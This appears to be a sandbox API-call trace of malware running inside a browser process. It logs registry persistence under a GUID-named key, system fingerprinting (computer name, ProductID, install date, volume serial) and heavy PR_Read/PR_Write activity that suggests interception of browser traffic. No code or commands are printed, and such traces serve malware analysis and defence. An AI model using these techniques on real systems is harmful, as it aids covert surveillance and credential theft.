HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.885] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.885] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74980000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74980000, AllocationBase=0x74980000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.885] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.885] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.885] lstrcmpiA (lpString1="UxTheme.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="IMM32.dll", lpString2="NSS3.DLL") returned -1 [0070.885] lstrcmpiA (lpString1="ole32.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="OLEACC.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="WINMM.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="dwmapi.dll", lpString2="NSS3.DLL") returned -1 [0070.885] lstrcmpiA (lpString1="DUser.dll", lpString2="NSS3.DLL") returned -1 [0070.885] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.885] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.885] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x73ac0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x73ac0000, AllocationBase=0x73ac0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.885] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.886] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.886] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74e60000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74e60000, AllocationBase=0x74e60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.886] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.886] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.886] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76af0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x76af0000, AllocationBase=0x76af0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.886] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.886] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.887] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x756a0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x756a0000, AllocationBase=0x756a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.887] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.887] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.887] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74910000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74910000, AllocationBase=0x74910000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.887] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.887] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.887] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x748a0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x748a0000, AllocationBase=0x748a0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.887] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.887] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.887] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77310000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x77310000, AllocationBase=0x77310000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.887] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.887] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.887] GetProcAddress (hModule=0x75220000, lpProcName="RegOpenKeyA") returned 0x7522cc15 [0070.887] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x3ffb5c | out: phkResult=0x3ffb5c*=0x108) returned 0x0 [0070.888] GetProcAddress (hModule=0x75220000, lpProcName="RegQueryValueExA") returned 0x752348ef [0070.888] RegQueryValueExA (in: hKey=0x108, lpValueName="Client", lpReserved=0x0, lpType=0x3ffb58, lpData=0x0, lpcbData=0x3ffb74*=0x7737387a | out: lpType=0x3ffb58*=0x3, lpData=0x0, lpcbData=0x3ffb74*=0x2c) returned 0x0 [0070.888] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x2c) returned 0xe1e888 [0070.888] GetProcAddress (hModule=0x75220000, lpProcName="RegQueryValueExA") returned 0x752348ef [0070.888] RegQueryValueExA (in: hKey=0x108, lpValueName="Client", lpReserved=0x0, lpType=0x3ffb58, lpData=0xe1e888, lpcbData=0x3ffb74*=0x2c | out: lpType=0x3ffb58*=0x3, lpData=0xe1e888*, lpcbData=0x3ffb74*=0x2c) returned 0x0 [0070.888] GetProcAddress (hModule=0x75220000, lpProcName="RegCloseKey") returned 0x7523469d [0070.888] RegCloseKey (hKey=0x108) returned 0x0 [0070.888] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.888] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580\\Config", phkResult=0x3ffb40 | out: phkResult=0x3ffb40*=0x0) returned 0x2 [0070.888] GetProcAddress (hModule=0x75220000, lpProcName="RegCreateKeyA") returned 0x7522cd01 [0070.888] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x3ffb84 | out: phkResult=0x3ffb84*=0x108) returned 0x0 [0070.888] RegQueryValueExA (in: hKey=0x108, lpValueName="Client", lpReserved=0x0, lpType=0x3ffb7c, lpData=0x868880, lpcbData=0x3ffb88*=0x2c | out: lpType=0x3ffb7c*=0x3, lpData=0x868880*, lpcbData=0x3ffb88*=0x2c) returned 0x0 [0070.888] RegCloseKey (hKey=0x108) returned 0x0 [0070.888] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x27) returned 0xe19858 [0070.888] wsprintfA (in: param_1=0xe19858, param_2="%08x%08x%08x%08x" | out: param_1="c1bfad56d6eccbb57e3f355780659e32") returned 32 [0070.889] GetComputerNameA (in: lpBuffer=0x3ffa74, nSize=0x3ffb88 | out: lpBuffer="YKYD69Q", nSize=0x3ffb88) returned 1 [0070.889] lstrlenA (lpString="YKYD69Q") returned 7 [0070.889] GetProcAddress (hModule=0x75220000, lpProcName="RegOpenKeyExA") returned 0x75234907 [0070.889] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x3ffb80 | out: phkResult=0x3ffb80*=0x108) returned 0x0 [0070.889] RegQueryValueExA (in: hKey=0x108, lpValueName="ProductID", lpReserved=0x0, lpType=0x0, lpData=0x3ffa74, lpcbData=0x3ffb88*=0x100 | out: lpType=0x0, lpData=0x3ffa74*=0x30, lpcbData=0x3ffb88*=0x18) returned 0x0 [0070.889] lstrlenA (lpString="00371-223-0192772-86275") returned 23 [0070.889] RegQueryValueExA (in: hKey=0x108, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x3ffa74, lpcbData=0x3ffb88*=0x100 | out: lpType=0x0, lpData=0x3ffa74*=0x57, lpcbData=0x3ffb88*=0x17) returned 0x0 [0070.889] lstrlenA (lpString="Windows 7 Professional") returned 22 [0070.889] RegQueryValueExA (in: hKey=0x108, lpValueName="CurrentVersion", lpReserved=0x0, lpType=0x0, lpData=0x3ffa74, lpcbData=0x3ffb88*=0x100 | out: lpType=0x0, lpData=0x3ffa74*=0x36, lpcbData=0x3ffb88*=0x4) returned 0x0 [0070.889] lstrlenA (lpString="6.1") returned 3 [0070.890] RegQueryValueExA (in: hKey=0x108, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x3ffb78, lpcbData=0x3ffb88*=0x4 | out: lpType=0x0, lpData=0x3ffb78*=0x8a, lpcbData=0x3ffb88*=0x4) returned 0x0 [0070.890] RegCloseKey (hKey=0x108) returned 0x0 [0070.890] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x3ffb74, lpMaximumComponentLength=0x3ffb88, lpFileSystemFlags=0x3ffb7c, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x3ffb74*=0x705ba84c, lpMaximumComponentLength=0x3ffb88*=0xff, lpFileSystemFlags=0x3ffb7c*=0x3e700ff, lpFileSystemNameBuffer=0x0) returned 1 [0070.890] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x1c) returned 0xe19888 [0070.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x824e68, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x3ffba0 | out: lpThreadId=0x3ffba0*=0xb80) returned 0x108 [0071.037] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x3ffb68 | out: phkResult=0x3ffb68*=0x10c) returned 0x0 [0071.037] RegQueryValueExA (in: hKey=0x10c, lpValueName="Scr", lpReserved=0x0, lpType=0x3ffb64, lpData=0x0, lpcbData=0x3ffb88*=0x0 | out: lpType=0x3ffb64*=0x0, lpData=0x0, lpcbData=0x3ffb88*=0x0) returned 0x2 [0071.037] RegCloseKey (hKey=0x10c) returned 0x0 [0071.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x815e0d, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x3ffba0 | out: lpThreadId=0x3ffba0*=0xb84) returned 0x10c [0087.526] _alloca_probe () returned 0x8235d0 [0087.527] PR_Read () returned 0xa [0087.528] PR_Close () returned 0x0 [0087.584] _alloca_probe () returned 0x8235d0 [0087.584] PR_Read () returned 0xc [0087.585] PR_Close () returned 0x0 [0087.819] PR_Close () returned 0x0 [0087.849] PR_Close () returned 0x0 [0088.907] _alloca_probe () returned 0x8235d0 [0088.907] PR_Read () returned 0x166 [0088.908] _alloca_probe () returned 0x8235d0 [0088.908] PR_Read () returned 0x0 [0088.911] PR_Close () returned 0x0 [0089.160] _alloca_probe () returned 0x8235d0 [0089.160] PR_Read () returned 0x28 [0089.162] _alloca_probe () returned 0x8235d0 [0089.162] PR_Read () returned 0x22 [0089.182] PR_Close () returned 0x0 [0089.182] PR_Close () returned 0x0 [0090.107] PR_Close () returned 0x0 [0090.597] _alloca_probe () returned 0x8235d0 [0090.597] PR_Read () returned 0x1540 [0090.599] _alloca_probe () returned 0x8235d0 [0090.599] PR_Read () returned 0x0 [0090.600] PR_Close () returned 0x0 [0091.839] PR_Close () returned 0x0 [0091.846] _alloca_probe () returned 0x8235d0 [0091.846] PR_Read () returned 0xc [0091.847] PR_Close () returned 0x0 [0091.862] _alloca_probe () returned 0x8235d0 [0091.862] PR_Read () returned 0x464 [0092.168] PR_Close () returned 0x0 [0092.168] _alloca_probe () returned 0x8235d0 [0092.168] PR_Read () returned 0xc [0092.169] PR_Close () returned 0x0 [0092.226] _alloca_probe () returned 0x8235d0 [0092.226] PR_Read () returned 0xc [0092.226] PR_Close () returned 0x0 [0092.263] PR_Close () returned 0x0 [0092.264] PR_Close () returned 0x0 [0092.264] PR_Write () returned 0xc [0092.271] PR_Close () returned 0x0 [0092.273] PR_Close () returned 0x0 [0092.276] PR_Close () returned 0x0 [0092.552] PR_Write () returned 0x451 [0092.553] PR_Write () returned 0x13 [0092.618] PR_Close () returned 0x0 [0092.623] _alloca_probe () returned 0x8235d0 [0092.623] PR_Read () returned 0x39 [0092.624] PR_Close () returned 0x0 [0092.625] _alloca_probe () returned 0x8235d0 [0092.625] PR_Read () returned 0x464 [0092.626] PR_Close () returned 0x0 [0092.626] PR_Close () returned 0x0 [0093.304] PR_Close () returned 0x0 [0093.441] PR_Write () returned 0x39 [0093.458] PR_Close () returned 0x0 [0094.670] PR_Close () returned 0x0 [0094.715] _alloca_probe () returned 0x8235d0 [0094.716] PR_Read () returned 0xef3 [0094.720] PR_Close () returned 0x0 [0095.749] PR_Close () returned 0x0 [0095.750] _alloca_probe () returned 0x8235d0 [0095.750] PR_Read () returned 0x4fe [0095.752] PR_Close () returned 0x0 [0106.807] _alloca_probe () returned 0x8235d0 [0106.807] PR_Read () returned 0x4 [0106.808] _alloca_probe () returned 0x8235d0 [0106.808] PR_Read () returned 0x1000 [0106.809] _alloca_probe () returned 0x8235d0 [0106.809] PR_Read () returned 0x1000 [0106.809] _alloca_probe () returned 0x8235d0 [0106.809] PR_Read () returned 0x1000 [0106.809] _alloca_probe () returned 0x8235d0 [0106.810] PR_Read () returned 0x1000 [0106.810] _alloca_probe () returned 0x8235d0 [0106.810] PR_Read () returned 0x17f [0106.815] PR_Close () returned 0x0 [0106.844] _alloca_probe () returned 0x8235d0 [0106.844] PR_Read () returned 0x4 [0106.844] _alloca_probe () returned 0x8235d0 [0106.844] PR_Read () returned 0x1000 [0106.845] _alloca_probe () returned 0x8235d0 [0106.845] PR_Read () returned 0x1000 [0106.845] _alloca_probe () returned 0x8235d0 [0106.845] PR_Read () returned 0x1000 [0106.845] _alloca_probe () returned 0x8235d0 [0106.845] PR_Read () returned 0x1000 [0106.846] _alloca_probe () returned 0x8235d0 [0106.846] PR_Read () returned 0x17f [0106.846] PR_Close () returned 0x0 [0108.415] _alloca_probe () returned 0x8235d0 [0108.415] PR_Read () returned 0x9a [0108.416] PR_Close () returned 0x0 [0108.422] PR_Write () returned 0x9a [0108.423] PR_Close () returned 0x0 Thread: id = 58 os_tid = 0xb78 Thread: id = 59 os_tid = 0xb80 [0071.369] OpenEventA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Local\\{7F853548-D254-09EE-D423-264D4807BAD1}") returned 0x134 [0071.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2b5fa64*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 60 os_tid = 0xb84 [0071.370] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 0x138 [0071.371] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x13c [0071.371] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{FCF9E212-2B0D-8EC0-95F0-8FA2992433F6}") returned 0x140 [0071.371] SetLastError (dwErrCode=0xb7) [0071.371] CreateEventA (lpEventAttributes=0x869084, bManualReset=1, bInitialState=0, lpName="Local\\{DD80286F-988C-17A7-8A61-4C3B5E25409F}") returned 0x144 [0071.371] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{38D59AEE-3717-2A0B-81EC-5BFE45E0BF12}") returned 0x148 [0071.371] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{4B67ACB1-2E14-B54D-90AF-42B9C45396FD}") returned 0x14c [0071.371] SetLastError (dwErrCode=0xb7) [0071.371] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned 0x150 [0071.371] OpenMutexA (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 0x154 [0071.371] SetLastError (dwErrCode=0xb7) [0071.371] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2c7f848*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0095.927] OpenWaitableTimerA (dwDesiredAccess=0x100002, bInheritHandle=0, lpTimerName="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 0x564 [0095.927] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2c7f848*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 98 os_tid = 0xbf8 Thread: id = 99 os_tid = 0xbfc Thread: id = 163 os_tid = 0x8e8 Thread: id = 164 os_tid = 0x8e4 Thread: id = 165 os_tid = 0x8e0 Thread: id = 186 os_tid = 0x830 Thread: id = 187 os_tid = 0x88c Thread: id = 188 os_tid = 0x938 [0089.040] PR_Poll () returned 0x1 [0091.494] PR_Poll () returned 0x1 [0099.365] PR_Poll () returned 0x1 [0099.366] PR_Poll () returned 0x0 [0099.366] PR_Poll () returned 0x1 [0099.368] PR_Poll () returned 0x1 [0100.445] PR_Poll () returned 0x1 [0101.519] PR_Poll () returned 0x1 [0102.602] PR_Poll () returned 0x1 [0103.609] PR_Poll () returned 0x1 [0104.621] PR_Poll () returned 0x1 [0105.634] PR_Poll () returned 0x1 [0106.648] PR_Poll () returned 0x1 [0107.663] PR_Poll () returned 0x1 [0108.581] PR_Poll () returned 0x1 [0108.582] PR_Poll () returned 0x0 [0108.582] PR_Poll () returned 0x1 [0108.850] PR_Poll () returned 0x1 [0109.880] PR_Poll () returned 0x1 [0111.482] PR_Poll () returned 0x1 [0111.918] PR_Poll () returned 0x1 [0112.551] PR_Poll () returned 0x1 [0113.699] PR_Poll () returned 0x1 [0114.698] PR_Poll () returned 0x1 [0115.822] PR_Poll () returned 0x1 [0115.970] PR_Poll () returned 0x1 [0115.970] PR_Poll () returned 0x0 [0115.970] PR_Poll () returned 0x1 [0116.011] PR_Poll () Thread: id = 189 os_tid = 0x87c Thread: id = 190 os_tid = 0x880 Thread: id = 191 os_tid = 0x884 Thread: id = 192 os_tid = 0x888 Thread: id = 193 os_tid = 0x894 Thread: id = 199 os_tid = 0x6ac Thread: id = 200 os_tid = 0x308 Thread: id = 202 os_tid = 0x890 Thread: id = 208 os_tid = 0x4b0 Thread: id = 209 os_tid = 0x610 [0094.545] _alloca_probe () returned 0x8235d0 [0094.545] PR_Read () returned 0x2 [0094.547] _alloca_probe () returned 0x8235d0 [0094.547] PR_Read () returned 0x0 [0094.547] PR_Close () returned 0x0 [0095.661] PR_Close () returned 0x0 [0095.662] PR_Close () returned 0x0 [0095.662] PR_Write () returned 0x2 [0095.666] PR_Close () returned 0x0 [0113.880] _alloca_probe () returned 0x8235d0 [0113.880] PR_Read () returned 0x5dc0 [0113.882] _alloca_probe () returned 0x8235d0 [0113.883] PR_Read () returned 0x0 [0113.883] PR_Close () returned 0x0 [0114.172] _alloca_probe () returned 0x8235d0 [0114.172] PR_Read () returned 0x6132 [0114.175] _alloca_probe () returned 0x8235d0 [0114.175] PR_Read () returned 0x0 [0114.175] PR_Close () returned 0x0 Thread: id = 210 os_tid = 0x360 Thread: id = 212 os_tid = 0x35c [0109.981] _alloca_probe () returned 0x8235d0 [0109.981] PR_Read () returned 0x1 [0109.982] _alloca_probe () returned 0x8235d0 [0109.982] PR_Read () returned 0x114 [0109.983] _alloca_probe () returned 0x8235d0 [0109.984] PR_Read () returned 0x2000 [0109.984] _alloca_probe () returned 0x8235d0 [0109.984] PR_Read () returned 0x4000 [0110.024] _alloca_probe () returned 0x8235d0 [0110.024] PR_Read () returned 0x1000 [0110.026] _alloca_probe () returned 0x8235d0 [0110.026] PR_Read () returned 0x400 [0110.028] PR_Write () returned 0x114 [0110.084] _alloca_probe () returned 0x8235d0 [0110.084] PR_Read () returned 0x2000 [0112.982] PR_Write () returned 0x1 [0115.972] _alloca_probe () returned 0x8235d0 [0115.972] PR_Read () returned 0x2000 Thread: id = 214 os_tid = 0x820 Thread: id = 215 os_tid = 0x824 Thread: id = 216 os_tid = 0x8dc Thread: id = 217 os_tid = 0x51c Thread: id = 218 os_tid = 0x868 Thread: id = 219 os_tid = 0x82c Thread: id = 230 os_tid = 0x974 Thread: id = 239 os_tid = 0x9d0 Thread: id = 240 os_tid = 0x9b8 Thread: id = 253 os_tid = 0x9bc Thread: id = 254 os_tid = 0x9c0 Thread: id = 255 os_tid = 0x9ac Thread: id = 256 os_tid = 0xa54 Thread: id = 257 os_tid = 0x9f4 Thread: id = 259 os_tid = 0x9ec Thread: id = 260 os_tid = 0xa58 [0108.449] _alloca_probe () returned 0x8235d0 [0108.449] PR_Read () returned 0xe8 [0108.453] _alloca_probe () returned 0x8235d0 [0108.453] PR_Read () returned 0xc [0108.457] _alloca_probe () returned 0x8235d0 [0108.457] PR_Read () returned 0x20 [0108.457] PR_Close () returned 0x0 [0108.460] _alloca_probe () returned 0x8235d0 [0108.460] PR_Read () returned 0x4 [0108.461] _alloca_probe () returned 0x8235d0 [0108.461] PR_Read () returned 0x4 [0108.461] _alloca_probe () returned 0x8235d0 [0108.461] PR_Read () returned 0x4 [0108.461] PR_Close () returned 0x0 [0108.461] PR_Close () returned 0x0 [0108.462] _alloca_probe () returned 0x8235d0 [0108.462] PR_Read () returned 0xe8 [0108.463] _alloca_probe () returned 0x8235d0 [0108.463] PR_Read () returned 0xc [0108.464] _alloca_probe () returned 0x8235d0 [0108.464] PR_Read () returned 0x20 [0108.464] PR_Close () returned 0x0 [0108.464] _alloca_probe () returned 0x8235d0 [0108.464] PR_Read () returned 0x4 [0108.465] _alloca_probe () returned 0x8235d0 [0108.465] PR_Read () returned 0x4 [0108.465] _alloca_probe () returned 0x8235d0 [0108.465] PR_Read () returned 0x4 [0108.466] PR_Close () returned 0x0 [0108.466] PR_Close () returned 0x0 [0108.516] _alloca_probe () returned 0x8235d0 [0108.516] PR_Read () returned 0xe8 [0108.519] PR_Close () returned 0x0 [0108.521] PR_Close () returned 0x0 [0108.522] PR_Close () returned 0x0 [0108.522] PR_Write () returned 0x20 [0108.523] PR_Write () returned 0x4 [0108.523] PR_Write () returned 0x0 [0108.525] PR_Write () returned 0x4 [0108.525] PR_Write () returned 0x8 [0108.525] PR_Write () returned 0x4 [0108.525] PR_Write () returned 0x8 [0108.526] PR_Write () returned 0x4 [0108.526] PR_Write () returned 0x8 [0108.526] PR_Write () returned 0x0 [0108.526] PR_Write () returned 0x4 [0108.526] PR_Write () returned 0x8 [0108.526] PR_Write () returned 0x4 [0108.527] PR_Write () returned 0x8 [0108.527] PR_Write () returned 0x4 [0108.527] PR_Write () returned 0x8 [0108.527] PR_Write () returned 0x0 [0108.527] PR_Write () returned 0x4 [0108.527] PR_Write () returned 0x8 [0108.528] PR_Write () returned 0x4 [0108.528] PR_Write () returned 0x8 [0108.528] PR_Write () returned 0x4 [0108.528] PR_Write () returned 0x8 [0108.528] PR_Write () returned 0x0 [0108.528] PR_Write () returned 0x4 [0108.529] PR_Write () returned 0x8 [0108.529] PR_Write () returned 0x4 [0108.529] PR_Write () returned 0x8 [0108.529] PR_Write () returned 0x4 [0108.529] PR_Write () returned 0x8 [0108.530] PR_Write () returned 0x0 [0108.530] PR_Write () returned 0x24 [0108.530] PR_Write () returned 0x0 [0108.530] PR_Write () returned 0x10 [0108.543] PR_Close () returned 0x0 [0108.545] PR_Close () returned 0x0 [0108.547] PR_Close () returned 0x0 [0108.548] PR_Write () returned 0xc [0108.548] PR_Write () returned 0x20 [0108.556] PR_Close () returned 0x0 [0108.559] PR_Write () returned 0x4 [0108.560] PR_Write () returned 0x4 [0108.560] PR_Write () returned 0x4 [0108.560] PR_Write () returned 0x0 [0108.560] PR_Write () returned 0x0 [0108.561] PR_Close () returned 0x0 [0108.561] _alloca_probe () returned 0x8235d0 [0108.561] PR_Read () returned 0xe8 [0108.561] PR_Close () returned 0x0 [0108.562] PR_Close () returned 0x0 [0108.563] PR_Close () returned 0x0 [0108.563] PR_Write () returned 0x20 [0108.564] PR_Write () returned 0x4 [0108.564] PR_Write () returned 0x0 [0108.564] PR_Write () returned 0x4 [0108.564] PR_Write () returned 0x8 [0108.565] PR_Write () returned 0x4 [0108.565] PR_Write () returned 0x8 [0108.565] PR_Write () returned 0x4 [0108.565] PR_Write () returned 0x8 [0108.565] PR_Write () returned 0x0 [0108.566] PR_Write () returned 0x4 [0108.566] PR_Write () returned 0x8 [0108.566] PR_Write () returned 0x4 [0108.566] PR_Write () returned 0x8 [0108.566] PR_Write () returned 0x4 [0108.566] PR_Write () returned 0x8 [0108.567] PR_Write () returned 0x0 [0108.567] PR_Write () returned 0x4 [0108.567] PR_Write () returned 0x8 [0108.567] PR_Write () returned 0x4 [0108.567] PR_Write () returned 0x8 [0108.567] PR_Write () returned 0x4 [0108.568] PR_Write () returned 0x8 [0108.568] PR_Write () returned 0x0 [0108.568] PR_Write () returned 0x4 [0108.568] PR_Write () returned 0x8 [0108.568] PR_Write () returned 0x4 [0108.568] PR_Write () returned 0x8 [0108.569] PR_Write () returned 0x4 [0108.569] PR_Write () returned 0x8 [0108.569] PR_Write () returned 0x0 [0108.569] PR_Write () returned 0x24 [0108.569] PR_Write () returned 0x0 [0108.569] PR_Write () returned 0x10 [0108.574] PR_Close () returned 0x0 [0108.576] PR_Close () returned 0x0 [0108.578] PR_Close () returned 0x0 [0108.578] PR_Write () returned 0xc [0108.579] PR_Write () returned 0x20 [0108.588] PR_Close () returned 0x0 [0108.591] PR_Write () returned 0x4 [0108.592] PR_Write () returned 0x4 [0108.592] PR_Write () returned 0x4 [0108.592] PR_Write () returned 0x0 [0108.592] PR_Write () returned 0x0 [0108.592] PR_Close () returned 0x0 [0108.593] _alloca_probe () returned 0x8235d0 [0108.593] PR_Read () returned 0xe8 [0108.593] PR_Close () returned 0x0 [0108.594] _alloca_probe () returned 0x8235d0 [0108.594] PR_Read () returned 0xe8 [0108.594] PR_Close () returned 0x0 [0110.091] _alloca_probe () returned 0x8235d0 [0110.092] PR_Read () returned 0xe8 [0110.092] PR_Close () returned 0x0 [0110.092] _alloca_probe () returned 0x8235d0 [0110.092] PR_Read () returned 0xe8 [0110.092] PR_Close () returned 0x0 Thread: id = 261 os_tid = 0x9a8 Thread: id = 262 os_tid = 0x9e8 Thread: id = 263 os_tid = 0xa0c Thread: id = 264 os_tid = 0xa08 Thread: id = 265 os_tid = 0xaf4 Thread: id = 266 os_tid = 0xae4 [0114.178] _alloca_probe () returned 0x8235d0 [0114.178] PR_Read () returned 0x8000 [0114.181] _alloca_probe () returned 0x8235d0 